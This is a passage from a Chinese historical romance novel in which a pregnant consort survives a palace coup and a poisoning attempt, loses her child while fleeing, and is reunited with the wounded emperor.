封陵之后,拓拔烈扶我登上他的御辇,我挨着他的身子取暖,他今天的心情不好,念完祭文之后就一直没有说过话。我拉过他的手掌,覆在肚子上,孩子好像和我心有灵犀,配合地动作了几下,他的脸上才露出了一丝轻浅的笑容。
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大雪又连着下了两日,到了傍晚时分才停。拓拔烈处理完云中的一些琐事,准备隔日就返回平城。一整个下午他都在房里写字,那是一种沉淀,或者宣泄的好方法。登上皇位后的拓拔烈,比之前更加懂得掩饰,外若宽和,而城府深密,使人莫测。或许只有他的字,偶尔可以显露他的心迹。
待我午睡醒来,天色已经昏暗,昼短苦夜长,我秉烛想去点他案上的铜荷灯。见一纸章草,遒炼奔放,不由得绕到他身侧,凝神看他走笔。直到蜡油滴到手,才呼痛出声。他拢眉收笔,接过我手里的烛台,我偏着头,目不转睛,还在研究散落在案上的字。“王小姐,有何见教?”他拨掉我手上的蜡块,有些微恼。
我轻叹,怜道:“生年不满百,常怀千岁忧。当年青兕先生纵然怀有忧国忧民之心,总还是给自己留了条后路的,如今你怀得却是万岁忧,就连条退路都不肯给自己留了。”
他浅笑:“王小姐此时后悔,恐怕已经来不及了。”
我回他一笑,低声道:“我才没有要后悔。”我摸了摸肚子,虽然还不饿,但孩子总要吃饭。拓拔烈看了永平一眼,示意他去传膳。
自我回到云中,总感觉宫里有一种莫名肃杀的气氛,也许是因为到处挂着丧礼用的白灯笼、白繐帷。忽闻宫门外嘈杂,初还以为是大雪压枝,但突然火光冲天,好像是举着松油的士兵正陆续涌入东宫。我不知道出了什么事,走到窗台前张望。拓拔烈也停下笔,抬头去看。
跑出去传膳的永平背对着我们一步步往屋里退,他的脖子上正架着一柄明晃晃的弯刀,跟着他进来的,是一身鲜丽戎装的阿兰公主,和几名随身的柔然武士。
“皇后,你这是要做什么?逼宫吗?”拓拔烈的声音很冷,但了无惧色。
“陛下,我是来勤王的!”阿兰公主一手腕子上缠着细鞭,一手持刀,得意笑道,“皇上,您恐怕还不知道外面的情况吧?您的皇兄,魏王殿下已经领着两万人马把皇宫围了个水泄不通,他才是要逼宫的人呢!”
我闻言一惊,但拓拔烈神色不变,悠然笑道:“勤王吗?拿刀对着朕的人?”
她从永平细弱的脖子上撤下刀,款款走到我面前:“当然是勤王啦……不过勤王之前,先要清君侧!”阿兰公主目光激射,毫无顾忌地在我身上游移,仿佛是在观赏一具尸体。我直觉后背发凉,抬手护住小腹,努力不让自己露出惧色。
一个胡人侍女进门,手里捧着精致的酒器,通透的水晶杯里盛着满满一杯暗红色的液体,在烛火辉映之下,发出妖冶而动人心魄的光芒。侍女微笑着将托盘举到我的面前,好像奉上的只是一瓯新酦醅的葡萄美酒。
我看向拓拔烈,他的脸上依旧波澜不惊,让人无法揣摩:“皇后,云中已经没有驻军了,魏王手里也没有兵权,那逼宫的两万军队是你从敕连可汗那里借来的吧?”
阿兰公主微愣了一下,复又笑道:“陛下猜得不错,既然我能借兵,同样也能退兵。要我勤王,还是逼宫,端看皇上的决定了!”她在我身边绕了个圈,声音明亮而愉悦:“小娼妇,你以为有谶言庇佑就了不起了吗?我看这谶言能护你多久?喝掉吧,可能会有些疼,让我看着你流血流到死,说不定我一高兴,就下令撤军了……”她拿起杯盏送到我唇边,咬牙道:“今日你横竖都是一死,我看不到你和你肚子里的小杂种的血,外面可就要血流成河了,说不定,连你家皇帝哥哥的性命也难保!”
她倏然捏起我的下巴,拿起酒杯想要往里灌,可手才碰到我,就遭人一把擒住,摔了出去。暗红的毒液渗入脚下的地衣,只留下一滩深色的水渍,好像干涸的血迹。出手护住我的是乌苏,曾经在长安元府里看门的老奴,房里不知何时多了几名黑衣影卫,已经制住了阿兰公主带来的柔然武士。门外赶来一队羽林军,领头的可能是拓拔冶,院子里的几十个柔然兵也被团团围困了起来。
我被乌苏挡在身后,情势似乎好转。拓拔烈始终没有离开书案,气定神闲地换了张新纸,又重新写起字来。他边写边道:“皇后,杀掉她和朕的孩子就是你想要的好处了?她死了,你不是一样也得不到你想要的吗?……朕不在这一年,你和魏王相处得还愉快吧?你借兵给他,他没有许给你和敕连可汗更大的好处吗?”
阿兰公主被影卫制住了手脚,她挣了几下,讶道:“你知道?”
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拓拔烈冷笑:“他仰仗敕连可汗篡位,事成之后必然会臣服于柔然了,岁岁纳贡,也省得你哥哥年年派兵来抢……让朕猜猜,他又许了你什么好处?总不见得是皇后位吧?骄傲如阿兰公主,放着堂堂正正的皇后不做,要去给个逆臣贼子做小吗?”
阿兰公主怒目道:“自然是皇后位!我与姐姐并立为左右皇后,总比在你这里当个名不副实的皇后来得强!”
拓拔烈不慌不忙收笔,又在方才那张纸上盖了玉玺,装进信囊,封了紫泥。抬头对阿兰公主道:“你们两个私下里商量的事情,可同你姐姐商量过了?”拓拔烈绝对是个撩拨人心的高手,见阿兰公主有所迟疑,他又道:“你不愿和人分享一个丈夫,又怎知你姐姐愿意呢?你以为朕此行只带了两千禁卫军,宫门外的两万人马就足以至朕于死地了吗?朕既然知道你和魏王苟且之事,又怎么会不做防备呢?他几次暗地里谋害朕,朕都念在手足之情,放他一马,如今他的胆子是越来越大了,拥兵造反,朕此时要诛他,朕看谁还敢出来说个‘不’字!”
“狸奴。”他唤我,乌苏侧过身体,让我过去。拓拔烈将刚才写好的信囊递到我面前,柔声嘱咐道:“这是圣旨,回到平城后交给崔季渊,让他在朝堂上当众宣读。”我才要去接,他突然收手,抿嘴道:“狸奴,你是有前科的,这次我还能信你吗?”到了这个时候他还有心玩笑,看样子是真的早有防范,已经势在必得了。可我却笑不出来,朝他郑重点头。
他把信交到我手上,摸了摸我的肚子,在我耳边轻声道:“好好照顾我们的孩子……你要是不能把我们的孩子和圣旨安全带回平城,你就等着朕回来揍你的屁股!”
我再次点头,他转过身,大声问道:“汉王何处?”
“已经在外面候旨了。”永平答。
“宣他进来。”
汉王拓拔冶已满负盔甲,即便长相再平凡的男人,在这一身戎装之下,也有些凛然之气。他进门后单膝跪地,抱拳道:“臣救驾来迟,请皇上恕罪!”
几名侍卫取来拓拔烈的战袍铠甲,替他更衣。拓拔烈弯了下嘴角,冷冷道:“皇兄,你和拓拔宇一母所生,现在该是你选边站的时候了。朕随身只有两千禁卫军,宫门外有两万铁骑,跟着朕,就是九死一生。院子里那些可都是你的人,你现在倒戈,拿了朕的人头去,可是大功一件。以你如今亲王的身份,朕也不可能允你更多了,宫门外那个可是你的同胞兄弟,将来你一样可以封王赐爵……”
拓拔冶的头伏得更低:“皇上不必考验臣的忠心,臣誓死跟随陛下!”
他没有再说话,任由他跪着。侍卫取来狼首剑,拓拔烈一袭白袍银甲,剑眉星目,气势逼人。他又转身到我这里,手指来回划着我的肚子,拉过我,在我颈边耳语道:“狸奴,给你的圣旨不到平城,不能让其他人知道,你中途也不许私拆!我的影卫会保护你从秘道出宫,我把永平留给你,你左手不便,他一路上可以照顾你……”
“那你呢?”我按住他的腕子。
“我哪里走得开,这不是还有烂摊子要我收拾吗?”他对我笑道,好像外面的千军万马都不在他的眼里。他俯身吻了我的唇,我能感觉到他的犹疑,当我想要加深这个吻时,他便退开了,好像害怕自己一旦吻下去,就再也不能抽身离开。
他转过身对依旧跪在地上的拓拔冶道:“汉王听旨!”
“臣在。”
“朕命你保护夫人回平城,若有差池,朕为你是问!”
“是!”拓拔冶对他的决定迟疑了一下,但随即领命起身。几名影卫已利落地将屋子里的柔然武士斩杀于地,拓拔烈及时捂住了我的眼睛,我只听见阿兰公主刺耳的尖叫声。
乌苏上前,护着我往里间秘道去,我回头去看拓拔烈,屏风后面高挑英挺的戎装男子,左手持剑,右手正抓着阿兰公主的腕子往外拖:“皇后,你帮朕退了一次柔然兵,不如就再帮朕一次……”
他隐怒的声音逐渐消失在门外,拓拔冶上前挡住我的视线:“夫人,事不宜迟,我们还是快些走吧!”我一咬牙,转身疾步而去。我从来不知道曾经生活过的东宫地下,还有这样四通八达的秘道,在如同坟墓的黑暗甬道里,我听见集结的马蹄从头顶踏过,耳边仿佛响起了螭龙备战时的轩轩嘶鸣。
44. 第十一章 夜半妖星现
出了秘道,已是云中城外。步行未久,就来到一处民房,几顶青毡帐的主人是一个大胡子的中年男子,带着妻小,看上去只是一户普通的牧民。乌苏告诉我,他也是皇帝的影卫,常年安插在此处。显然,自进入秘道后就一直处于戒备状态的拓拔冶并不知情。
几名影卫迅速备马套车,乌苏借了笔墨写字,又和男主人交代了几句话,跑到帐外放飞信鸽。我跟了出去,疑道:“这是要给谁送信?”
他迟滞了一下,抱拳道:“回夫人,是送往平城的……夫人,车备好了,快走吧……”
我还不及细问,就被永平扶上了马车。永平不会骑马,危急时刻,也顾不得什么避讳,便让他与我同乘。拓拔冶替我们关好车门,只听得他一声令下,一小队人马就往东南方向出发。登车时,我回头看了一眼盛乐宫的方向,一切如常,似乎还没有开战的迹象。
拓拔冶怕后有追兵,下令急行,可欲速不达,地上积雪没胫,没出多远,车轮就已经陷落了几次。马队不敢点火把,虽有明月映雪,但夜路并不好走。车轮颠簸,我跪坐在车厢里护着肚子,东倒西歪,身上已经撞了好几下。几次磕碰得厉害,我怕伤到孩子,心都要跟着蹦了出来。我不停地揉着小腹,想给孩子一些抚慰,但似乎好久都没有感觉到他的动静了,也许是吓坏了。
车轮再次深陷雪壑之中,众人勒马,下来帮忙抬车。我隐约听见皇宫的方向好似有战鼓擂动,探出头去,只见云中城上空,万点寒鸦,振翅而起。我不停地安慰自己,拓拔烈是有备而来,城外一定还有驻军,他定然可以全身而退……
不,不对!
“乌苏!”我喝道,“你往平城送得什么信?皇上在城外有多少驻军?”
乌苏瞪着我,不语,白眉白髯都已经结了坚冰,整个人都好像冻住了一般。我心里一沉,腹中忽来一阵绞痛。拓拔冶缓步走到车窗前,直视着我,说起来,这好像是他第一次看我的时候没有避开视线。他还是和往常一般,不温不火的语气,但一语即中要害:“夫人,皇上如果真有防备,明知道此行要动刀兵,又怎么会带夫人出来冒险?”
我暗自捂住小腹,咬牙道:“乌苏,援军赶到云中,最快需要多久?”拓拔烈谎称早有防备,难道是想拖住魏王的进攻,等我们搬来救兵?
乌苏道:“如果信能及时送到,快马加鞭,最快也要四、五日……夫人,皇上身边的禁卫军,人数虽少,却都是百里挑一的……”
“四、五日?!”不可能,拓拔宇不是笨蛋,只要派人打探便知皇帝在城外更本没有驻军,是绝对拖不了四、五日的。
我隐约已闻远处雷辕战鼓,喊杀震天。几名影卫还在用刀剑刨着车轮底下的积雪,云中城里果然烧起了战火,渐渐的,火势越来越大,红光冲天,如同天际绵延的晚霞。一道青荧的慧光从夜幕中划落,坠入城中。几名影卫抽气出声,此时现妖星,是大凶之兆!
马车毫无预警地一震,车轮被人从雪壑里撬出。我只觉腹中一阵剧痛,身下一热,心遂沉到了谷地,眼泪也跟着滑落下来。拓拔冶面无表情,从天边撤回视线,下令道:“出发!”
“慢!”我已疼得浑身冷汗,指甲深深嵌在掌心里,提着身体里最后一口气,大声道:“掉头,回城外的毡帐!”
拓拔冶掉转马头,还是一张中规中矩的脸,恐怕再多看几眼也难以记得。他走到我面前,直直盯着我的眼睛:“夫人,皇上用计稳住柔然军,是不可能拖到救兵来的,能拖得一时半刻,就是为了保住夫人和皇子安全出城。请夫人以大局为重,万勿辜负了圣意!”他拨马走得更近,我狠狠瞪着面前的拓拔冶,竟从未发现,在这样一张平凡无奇的面孔上,会有如此炯然的眼神。也许,我一直就低估了这双眼睛的主人。
拓拔冶忽然抬手,我直觉往后一缩,他的手停在半空,僵持了一会儿,慢慢的,又伸手过来,撩开我粘腻在额前的头发,替我抿到耳后。
“出发!”他再次下令。
车轮“吱呀”转动起来,“停车!”我的拳头攥得更紧,咬牙道:“我有皇上的口谕!”
果然,一队影卫都停下来看着我,拓拔冶眯了下眼睛。永平忽然从一旁探出半个脑袋:“咱家可以作证,夫人有皇上的口谕,夫人有孕在身,不便奔波,请各位在城外恭候圣驾。王爷,魏王必定以为我们星夜逃走了,应该不会想到我们就躲在城外,最危险的地方往往就是最安全的地方。”
拓拔冶的眼睛眯得更细,显然我和永平的话并没能骗过他,他思忖了片刻,平静道:“那……臣等就谨遵圣谕,马车掉头,回毡帐!”我暗舒一气,现下唯一能利用的,就是他为人周密谨细。皇上生死未卜,他宁可将来让我们背负矫诏之罪,也不会让人逮到他抗旨不遵。
永平替我合上车窗,压低了声音:“夫人,您不要紧吧?”
我身下的白色毡毯已经被浅红色的液体浸湿,除了腹痛,心也绞在了一处。衣襟里揣着的一道圣旨,犹如铁烙一般烙在我的胸口上。我咬着唇,摸索着从怀里掏出信囊,他嘱咐我不要拆,但里面的内容我已经依稀猜到。
“夫人!”永平瞪着我,想要阻止我再次抗旨。我深深看了他一眼,哆嗦着拨开信囊上的封蜡。一笔汉隶,劲瘦古拙,是绝美的字迹。不出所料,拓拔烈留给我的,是一封遗诏。
若我生子,便传位于他,我可以以太后的身份继续留在东宫;若我生女,便传位于汉王拓拔冶,我便以太妃的身份搬去宁宫。接下来的,是一长串以崔季渊为首的辅臣的名字……视线渐渐被眼泪模糊,再看不下去了,只能伏地恸哭。
“夫人,夫人!”永平轻声唤我。马车在往回的路上奔驰,车轮驶过凹凸不平的地面,五脏六腑都好像要被震碎了。
“夫人?”车窗外再次响起拓拔冶的声音,我咬唇忍住悲泣,抬头沉声道:“我没事……”
永平俯身过来,我感觉拓拔冶的马离得远了,才抓着他的手臂道:“永平,帮帮我……胞衣已破,孩子可能保不下来……你要是忠于皇上,就帮着我先瞒过汉王……”
以一当十,南北大战时,青兕先生不是没有这样的胜绩,不到最后一刻,我就绝不相信他会这样放开我的手。拓拔烈不让汉王知道这封遗诏的存在,必是为了防他,传位于他,也是没有办法的时候才走得最后一条路。患生于多欲而人心难测,出城之前,皇帝让他选边站,拓拔冶到底是出于忠心,还是已经料想到会有比亲王的身份更大的好处?没有人知道。如果我能保住孩子,回去之后,崔季渊起码还能稳住局势,派来救兵。皇位之事,怎样也要等到孩子生下来以后才能定夺。如果此时让拓拔冶知道已经无人可以与他竞争,只怕他会急着赶回平城去登基,一山难容二虎,届时,就连援军都不肯派了。虽说汉王素日里处事得宜,未必会有反心,但现下利益当前,人心隔肚皮,我还有谁可以放心托付?
永平摸了摸我身下湿漉漉的羊毛毡毯,小心收起满脸的惶恐,他点了点头,脱下素服,将我染了血的裙摆盖住。我将圣旨重新装回信囊,揣进怀里,咬牙合起眼睛,盘算着下一步该怎么办,但身上疼痛难忍,心里也早就乱了方寸。拓拔烈在城中苦战,我眼睁睁看着,却束手无策。云中已乱,平城不能再乱,现下,我也只能拖得一时算一时,只希望他能早点回来收拾残局。
马车重新回到城外的毡帐,男主人不在,应是入城打探消息了。女主人出门迎接,永平找了条毛毯把我裹住,掩去衣服上的血污。“夫人,您自己能走吗?”他轻声问道。
我点头,在他的搀扶下出车,低着头径直入了主人的卧房。女主人忙着安顿外面的人,待她入帐时,看见毛毯下的我,浑身是血,吓得瞠目结舌。永平及时上前捣住她的嘴,压低声音道:“夫人现在需要你帮忙,附近可有稳婆?”
女人摇了摇头,她的汉语讲得有些生硬:“附近没有几户人家,稳婆离这里很远……夫人,还是叫王爷派人去请吧,我们有马。”
“姐姐生过几个孩子?”我问。
“四个。”女人答。
我向她伸手,道:“那就请姐姐帮我吧,这事万万不能让外面的人知道……姐姐大恩,我会永远记得的……”
女人犹豫了一下,点头道:“夫人再忍忍,我去烧水来……”
她转身要出帐,我又唤道:“姐姐……”,她回头看着我,诚恳道:“夫人放心,我家男人忠于皇上,我知道该怎么做。”
女人挑帘出帐,我掏出怀里的圣旨,含泪将它放入火盆,火焰腾的窜了起来,纸片顷刻就化成了灰烬。永平瞪着眼睛看我,一句话也没有说。孩子不保,若真有不幸,拓拔冶就是唯一的皇位继承人,也无需这道圣旨。但现在,遗诏绝对不能落入他人之手。
抗旨、矫诏、没有保护好我们的孩子……拓拔烈,你交代我的事情,我一样也没有办到,你要是气不过,就回来罚我吧……
女人备好了热水,永平递了块软布给我,背过身去,守在门口。
我死命地咬着那块布,不敢呼痛出声,隔壁几顶帐子离得不远,万不能叫他们听见我的喊叫。女人开始动手,我只觉得浑身如煎熬焚炙,仿佛陷入了
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永无止境的六道轮回。灭族、丧父、失子……老天爷到底要我经历几次?狸奴九命,母亲若是泉下有知,是不是也不忍我在这样反反复复的颠沛流离中继续生存下去?
身体如同掏空了一般,只剩下一具躯壳,已经气若游丝。“可惜了,是个男孩子……”女人用鲜卑语嘀咕了一句,又用不太流利的汉话来问我:“夫人,要看一眼吗?”我虚空地望着帐顶,摇了摇头。强留着最后一口气,用来和命运抗争,直到这个时候我才发现,拓拔烈,已经成了我能够说服自己活下去的唯一理由。
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帐外已拂曙,雄鸡却敛翅不鸣。女人端着热粥进来,晨光泄漏,我迷糊睁开眼睛。虽然疲惫不堪,但一夜都在噩梦里挣扎,在阿鼻门前徘徊,没有安睡过片刻。
她喂我吃粥,小心地说起昨夜的孩子:“夫人,我的大儿子已将皇子安葬,就在东郊外不远处,夫人请放心……”
我无力地合了一下眼睛,解下腕上一只玉镯,虚弱道:“姐姐费心,这个姐姐收好吧。”张开嘴才发现自己的喉咙已经沙哑,牙齿因为昨夜用力过猛,也有些松动。
女人推托着不敢要,永平上前道:“夫人赏的,你就收好吧,你收了,夫人才能安心。”她道了谢,从衣柜里取了套胡人女子的衣服给我,又替我盘了头发,还细心地抹上些许胭脂,掩盖我过于苍白的脸色。
我正心不在焉地盘算着,忽听帐外骚动,女人侧耳听了听,对我道:“是我家男人回来了,夫人,我出去看看。”我打起精神,浑身都紧绷起来。永平也跟着跑了出去。
未久,拓拔冶挑帘进来,帐外的阳光刺痛了我的眼睛,我看不清他面上的表情,他身后的永平却早已涕泪不止,难掩悲怆。见状,我的心顿时就凉了半截。我警觉地看着拓拔冶慢步走到我跟前,他停了一下,撩袍坐到我的床缘上。我下意识抓紧了被褥,听他缓缓开口道:“夫人,柔然两万铁骑将皇上围困在金銮殿前,里外围了五十层之多,两千禁卫军不敌,几乎全军覆没……拓拔宇自立,大多数困在城里的皇亲迫于无奈,已经承认了他的皇位……”
“皇上呢?”我的身体不受控制地抖动着,已经辨别不清自己的声音了。
他抬手,轻轻落在我的肩头,而后试探着抚摸我的脖颈,拓拔冶也许是想安慰我,但这一举动却让我更加害怕。“皇上……”他眯起眼睛,似乎在犹豫如何往下说。
我的心脏已不堪负荷,但必须在昏倒之前知道真相:“殿下,我想听实话……”
“城中已经戒严,这家的男人从秘道入城,打探到消息……皇上战死,拓拔宇下令,暴尸于通衢……大概是等着残军回去给皇上收尸,而后再全歼吧……”他略薄的唇上下翕合着,声音平稳得如同催眠,但字字如利刃,剜割着我的心。我的意识已经逐渐涣散,但还是强迫自己集中精神去辨别他的话。
屋子里安静下来,只有永平呜咽的声音。我苦笑了一下,真好,他还能哭得出来。“夫人,此处不宜久留,我们还是快些回平城吧。”拓拔冶继续道。
“殿下,皇上曾有密诏,若我不能生下皇子,就传位于殿下。如今我也不必瞒你,我昨夜丧子,殿下回平城后,可以名正言顺地继承皇位……”
拓拔冶闻言,面皮抽动了一下,他的手施了把力,将我的头按在他的肩上,柔声耳语道:“夫人不必担心将来,你可以继续留在东宫……”
我哼笑,如履薄冰之人也能说出这番话来,看来拓拔烈的死讯并非造假。白石先生果然说准了,美貌并非老天爷对我的恩赏,失去了强者的庇护,我就只能沦落为不停辗转于他人之手的战利品。“殿下,我不会和您回去的,我的丈夫和孩子都在这里……”我挣开他的手,转头看向那女人,“皇子的坟茔何处?请带我去祭扫。”
女人上前,小声提醒道:“夫人,您才小产,外面这么冷,还是不要出去吹风……”
我挥开拓拔冶按在我肩头的手,掀被子下床,他拦腰将我按回榻上:“夫人,还是不要去了……”我坐在床缘,面无表情地看着他,做着无声的反抗。拓拔冶立在我面前,垂着眼睛,沉默了片刻,然后服输了一样,弯下腰替我穿上鞋子:“夫人,穿了鞋子再出去吧……我喊人备车,快去快回,此处不能逗留太久。”
我不理他,女人赶紧抓过一条毛毯围在我身上,盖住我的头。她的儿子上前道:“夫人,我带您过去。”
45. 第十二章 逾城突围出
周围的积雪除尽,只剩下一个微微隆起的褐色的小土堆,我跪坐下来,伸手轻轻抚摸着,就好像拓拔烈经常做得那样……往事不堪回首,流离世故,穷尽艰危,一路行来,聚合离分,前缘散尽,最后也只换得千里孤坟,三尺墟丘。谶言说我福寿绵长,可我少年之时便要丧子嫠居,伶仃如此,从今而后,长日漫漫,又要我何以为继?
“夫人,我们该回去了,王爷好像派人来寻了。”不知道过了多久,少年上前提醒道。我勉强唤回意识,周围天寒地冻,好像置身冰窖,已然浑身麻木,不知道冷,亦不知道疼了。
我顺着少年的手指看去,远处有一马纵横,但随之而来的,却是一个马队。霜蹄蹴踏,卷起千层雪,略略望去,足有百余人。我一惊,这样的场面,决计不是拓拔冶派来的人,这方向是从云中城而来,难到是拓拔宇的追兵?
“你快回去!”我推了少年一把,“通知汉王,让他快走!”跟随我而来的只有两名影卫,已经抽弓搭箭,准备拼死一博。少年翻身就跑,却被一枝凭空而来的鹫翎金仆姑阻断了去路,他仓惶跌倒在地上,以手支地,向后爬了几步。
危机时刻,我已心如古井,去也终须去,住也如何住?倒不如逐君征战死。我不愿独老空闺,终身涕洟,更不愿辗转于其他男人之手。我烧毁圣旨,假传口谕,又弄丢了孩子,桩桩件件都是死罪。若是此番再因我的行踪暴露而连累汉王,让拓拔宇这厮得逞,你在九泉之下,必有遗恨!
马蹄扬起乱雪,急奔而来,大敌当前,我仰天而笑,恨恨道:“拓拔烈,我琅邪王氏覆灭虽不是因你而起,可你见死不救,是为不仁!赫连与你结拜,一直拿你当亲兄弟,你毁他前程,让他有家难回,是为不义!白石先生是你恩师,可他与拓拔王妃皆是因你的计谋不周而死,是为不孝!先生半生心力建立起来的鼎力之势,你却搞得天下大乱,如今又不能站出来收拾残局,是为不信!你明知拓拔宇狼子野心,却不加防范,现在又蠢得把自己也给弄死了,是为不智!如今你独留下我一个弱女子,又要我何以为生?拓拔烈,我好恨!你根本就是个大混蛋!你我之间的帐是算不清楚了,奈何桥上,你慢走一步,等我来和你做个了断!”
我拔下发髻上的银簪,高举到半空之中,只听得远处一声嘶哑地怒喝:“狸奴,住手!”
我只求速死,已用尽毕生之力,手下早就失了分寸,银簪直奔脖颈而去,想收也收不住了。千钧一发之际,又是一枝金仆姑,百步之外,不偏不倚,正射下我手中的发簪。我定睛看去,弯弓之人正是皇帝身边的禁卫军统领万俟匆,此人神射,世所罕及。而在他之后,一身血污之人,已经分不清彼时穿得是白袍银甲,便是连金色的战马都浑身浴血。
“阿烈……”我嗫嚅了一下唇,没有喊出声,滚烫的眼泪终于顺着脸颊滑落下来……
忧悲伤肺,惊恐伤肾,思极伤脾,喜极伤心,大悲大喜,大落大起,一时情之过极,我只觉得满脉去形,厥气上逆,两眼昏花,头脑一热,便再也支撑不住了……
强而有力的手臂拖住我下坠的腰身,一阵血腥之气贯鼻,我恍惚间,听他恨恨念道:“狸奴,原来我在你心里是这样的人……”
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我稍动了一下,只觉得头疼脑热,骨节一段段掰碎了似的。“皇上,禁卫军此番突围,虽然损失惨重,但柔然两万骑兵也伤亡过半。万俟匆已射死蠕蠕大将,乱军无首,臣带两万精兵,此时杀回去,岂不是更好?”迷迷糊糊间,好像是宇文将军的声音。
勉强睁开眼睛,见行军帐外两个人影,看来我昏迷许久,拓拔烈已经与援军会合。熟悉的声音在帐外响起,有些沙哑,但气势不减:“拓拔宇便是坐了这个皇位,也是蠕蠕人的傀儡,敕连已屯兵边境,他们只等着朕一死,就能控制拓拔宇,接管云中了。将军此时杀回去,一点便宜也占不到。云中是空城,地不能耕,民不能用,只等到天气一暖,这些军队又要北上放牧,此城便是落在柔然人手中也没有多大用处……朕本想多留他几年再作打算,没料到这厮吃里爬外竟至于此!朕必洗雪逋负,但不必急于一时……将军,先下令返回平城吧。”
宇文将军抱拳退去,拓拔烈挑帘进帐,见我睁着眼睛,脚步迟滞了一下:“你……醒了?”
眼前的男子孝服未除,几日不见,已衰了潘容,瘦了沈腰。我恍如隔世,眼泪又夺眶而出。挣扎着想要起身,拓拔烈疾走两步,将我从榻上扶起。我绵软无力,跌倒在他胸前,他的肌肉紧绷,隔了一会儿才伸出手臂环住我的身子。“你睡了三天了……”他率先开口,又腾出一只手来搭我的脉搏。
我试图开口,但喉咙疼得厉害,良久才攒了一口气,声音还是微不可闻:“阿烈,对不起……”
“不用说了,我都知道……烧圣旨,传假诏,情急之下,你懂得随机应变,这些我都不怪你。弄丢了我们的孩子,也是因我失察在先,才将你置于险境,过在我,不在你……”他紧了紧扣在我腕上的手指,顿了一下,严谕道:“可你不该把自己弄成这个样子!狸奴,轻生之死,死如鸿毛,我非但不会因此感动,只会让我恨你!我费尽心力拖延战时,就是为了保你们母子安全出城,奋力突围,也只怕日后你们无以为继。危急如此,除非天不容我,不然我断不会轻言‘死’字……我血战而归,倒发现……哼,自己成了不仁不义,不孝不信之人……我豁命想要保护的人,若是这样死得不明不白,你道我其情何如?”
“对不起,对不起……”我泪眼婆娑,除了这三个字,已经别无他辞。
他软下语气,宽慰道:“最是无情帝王家,我们的第一个孩子若是转生他处,也是他的幸运……可你我已经别无选择,你一朝入得宫门,便该知道这条路穷尽危恶。我要与之携手的,应该是个勇敢的女人,可以一直陪着我走下去。起码,在我奋命想要保护她的时候,不会给我后顾之忧……我说过,我不能给你最好的,你我之间,没有生死契阔的誓言,故我也不要你为我殉命。也许我寿年不永,但答应我,任何时候都不要轻生……除非……”
除非,他要我死?拓拔烈叹了口气,没有再说下去。“睡了这么久,饿不饿?”他柔声问道。我点了点头,他的身体又是一紧。“永平!”
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他朝帐外唤道。
永平应声进来,拓拔烈吩咐他取些热粥,他却呆在那里不走:“夫人,呃……”我扭头看他,他支吾道,“您……您压到皇上的伤口了。”
我闻言,立刻从他胸前退开。他皱了下眉头,喝道:“多嘴,还不快去!”
“是!”永平歪了一下嘴,夺帐而出。
我忧心道:“你受伤了?让我看看,严重吗?”
他抓住我的手,摩娑着我的手指:“只是皮肉伤……狸奴,我都听永平说了,总不会比你受得罪还多。”
永平端来热粥并伤药。他来喂我吃粥,我道:“你先换药吧,放在案上,我自己能吃。”
他不依:“不碍事的,你吃了我再换。”他的话总是不容别人违抗,我也不必多做挣扎,早早吃完,也好让他去换药。
一碗肉粥下肚,身子舒坦许多。永平伺候他退了白袍,拆下绷带,斧钺之伤,从右边的肩头直划到前胸,深可见骨。外翻的皮肉已经用桑皮线缝合,原本浅黄色的细线已被鲜血染成了深红,如同一条饱食血浆的百足之虫,在他白皙的皮肤上显得触目惊心。锁骨处还留有两片淡白色的齿痕,当初发现留下疤印,我都觉得白壁染瑕玷,后悔不叠了,如今伤成这样,又怎一个心疼了得。
他轻叹一声:“怎么又要哭了?你虽不曾大生,但小产也要当心,别再哭出病来。”他本想逗我,哼笑道:“留了疤也好,下回你替我收尸,看清楚了再寻短见,别听风就是雨,旁人说什么你都信。”
我本想忍着不哭的,但被他这样一说,倒又忍不住了,干脆大哭起来。
“咝……出去!”他抽痛一声,迁怒永平,朝他低喝道。永平哆嗦了一下,连忙放下手里的伤药,“诺”了一声,躬身逃出了军帐。
“我……”拓拔烈坐回床缘,张口欲言,但最后还是闭了嘴,只在我额头落了一吻。我一只手不便,他扶着瓷瓶,我蘸了蒲黄粉给他上药。
残灯斜照,一榻橛床,四眸相顾,对坐无言……
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行军几日,外面朔风凛凛,周天寒彻。我倒被照顾得细致周全,没有挨着一点冻。
一夜梦回,看见拓拔烈和衣睡在案前,手中还捻着一枝响箭。我痴痴看着他的睡颜,直到暮色渐起,帐外戍角悲鸣,他动了一下,如蛰鳞闻春雷而起。
宇文将军已整队待发,今日晚些时候就能赶回平城。拓拔烈用了两重褐绮衾将我裹了个严实,我担心他胸前的伤口,但犟不过他,只能小心蜷起身体,任他将我从军帐抱上马车。
一路无话,来到城门前,崔季渊已带领百官素服迎驾。我偷偷挑开车帘一角,那方在我心中魂牵梦绕的小小坟茔,已经远隔千里,瞻望靡及。眼前白花花的一片,文臣武将都穿着麻衣素缟,拓拔冶位列在侧,好像知道我在看他,又从马车上调开了视线。
拓拔烈整裳出车,环视四方,我听他淡淡道了句:“朕今日失地之辱,他日必要柔然十倍归还;丧子之痛,必要拓拔宇一族血洗!”
46. 第十三章 祈万物咸新
通和元年,拓拔烈变革弊法,劝农兴学,利民润物,举国上下已有百废具作之象。只是在这过去的一年里,对于皇帝本人来说,就没有这么幸运了。正月伊始,他再次下诏改元,年号“咸新”,取“元正启祚,万物咸新”之意。
虽说此举表明了皇帝咸与维新的态度,但从冬至至今,丧期已过,他却依旧不除衰服,每日粗衣粝食,为太上皇丁忧守制。拓拔烈的营国之本便是礼教为先,如今更是以万乘之尊,躬蹈大孝之行,作万民的表率。
因他有孝在身,我又不宜搬动,故他将我继续留在东宫,自己搬去了宁宫。只在每日夕食过来陪我晚膳,闲话片刻,便离去了。
立春时节,白昼微长。我按太医院的吩咐在东宫休养,已经快要两个月了。本来这小月子早该结束的,可拓拔烈以为,小产将养十倍于正产,我滑胎之后又受了风,故更需谨慎调理,以免将来落下病根。所以时至昨日,我依旧未准出户。初时,的确觉得身体虚羸,渴睡,但经过一阵细心调养,自觉已经恢复得差不多了。昨日他回东宫,我对他言:“我成日里吃饱睡倒,你也不让我管事,呆在屋子里无所消遣,不等这身上的病好,心里倒要憋出病了。”他为我把了脉,至此才收回我的禁足令。
清晨闲步,一路沿春梅灼灼,不觉就走到御书房前。永平抱着胳膊侯在门外,我才想起今天是休沐日,皇帝不必早朝。只是,也没有得闲罢了,大清早就有冠剑盈门,好不热闹。
永平见我前来,趋步上前道:“夫人,您找皇上啊?咱家给您通报去。”
我摆手:“不必了,皇上办正事呢,还是不要进去打扰。”
